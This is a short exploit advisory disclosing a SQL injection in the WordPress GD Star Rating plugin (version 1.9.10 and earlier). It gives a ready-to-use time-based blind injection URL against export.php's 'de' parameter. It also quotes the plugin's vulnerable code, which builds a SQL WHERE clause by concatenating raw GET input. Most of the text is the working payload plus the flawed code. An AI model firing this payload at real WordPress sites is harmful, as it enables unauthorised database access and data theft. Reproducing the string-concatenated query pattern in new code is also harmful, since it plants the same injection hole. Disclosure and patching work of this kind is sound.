# Exploit Title: WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability
# Date: 2011-09-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/gd-star-rating.zip
# Version: 1.9.10 (tested)
# Note: magic_quotes has to be turned off
---
PoC
---
http://www.site.com/wp-content/plugins/gd-star-rating/export.php?ex=user&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
---------------
Vulnerable code
---------------
./export.php
require_once("./code/cls/export.php");
...
if (isset($_GET["ex"])) {
$export_type = $_GET["ex"];
...
switch($export_type) {
case "user":
header('Content-type: text/csv');
header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"');
$sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data);
$rows = $wpdb->get_results($sql, ARRAY_N);
./code/cls/export.php
class GDSRExport {
...
function export_users($user_data = "min", $data_export = "article", $get_data = array()) {
...
$where = array();
...
$where[] = "v.vote_type = '".$data_export."'";
...
$j_where = join(" and ", $where);
...
return sprintf("select %s from %s where %s order by u.id",
$j_select, $j_tables, $j_where);
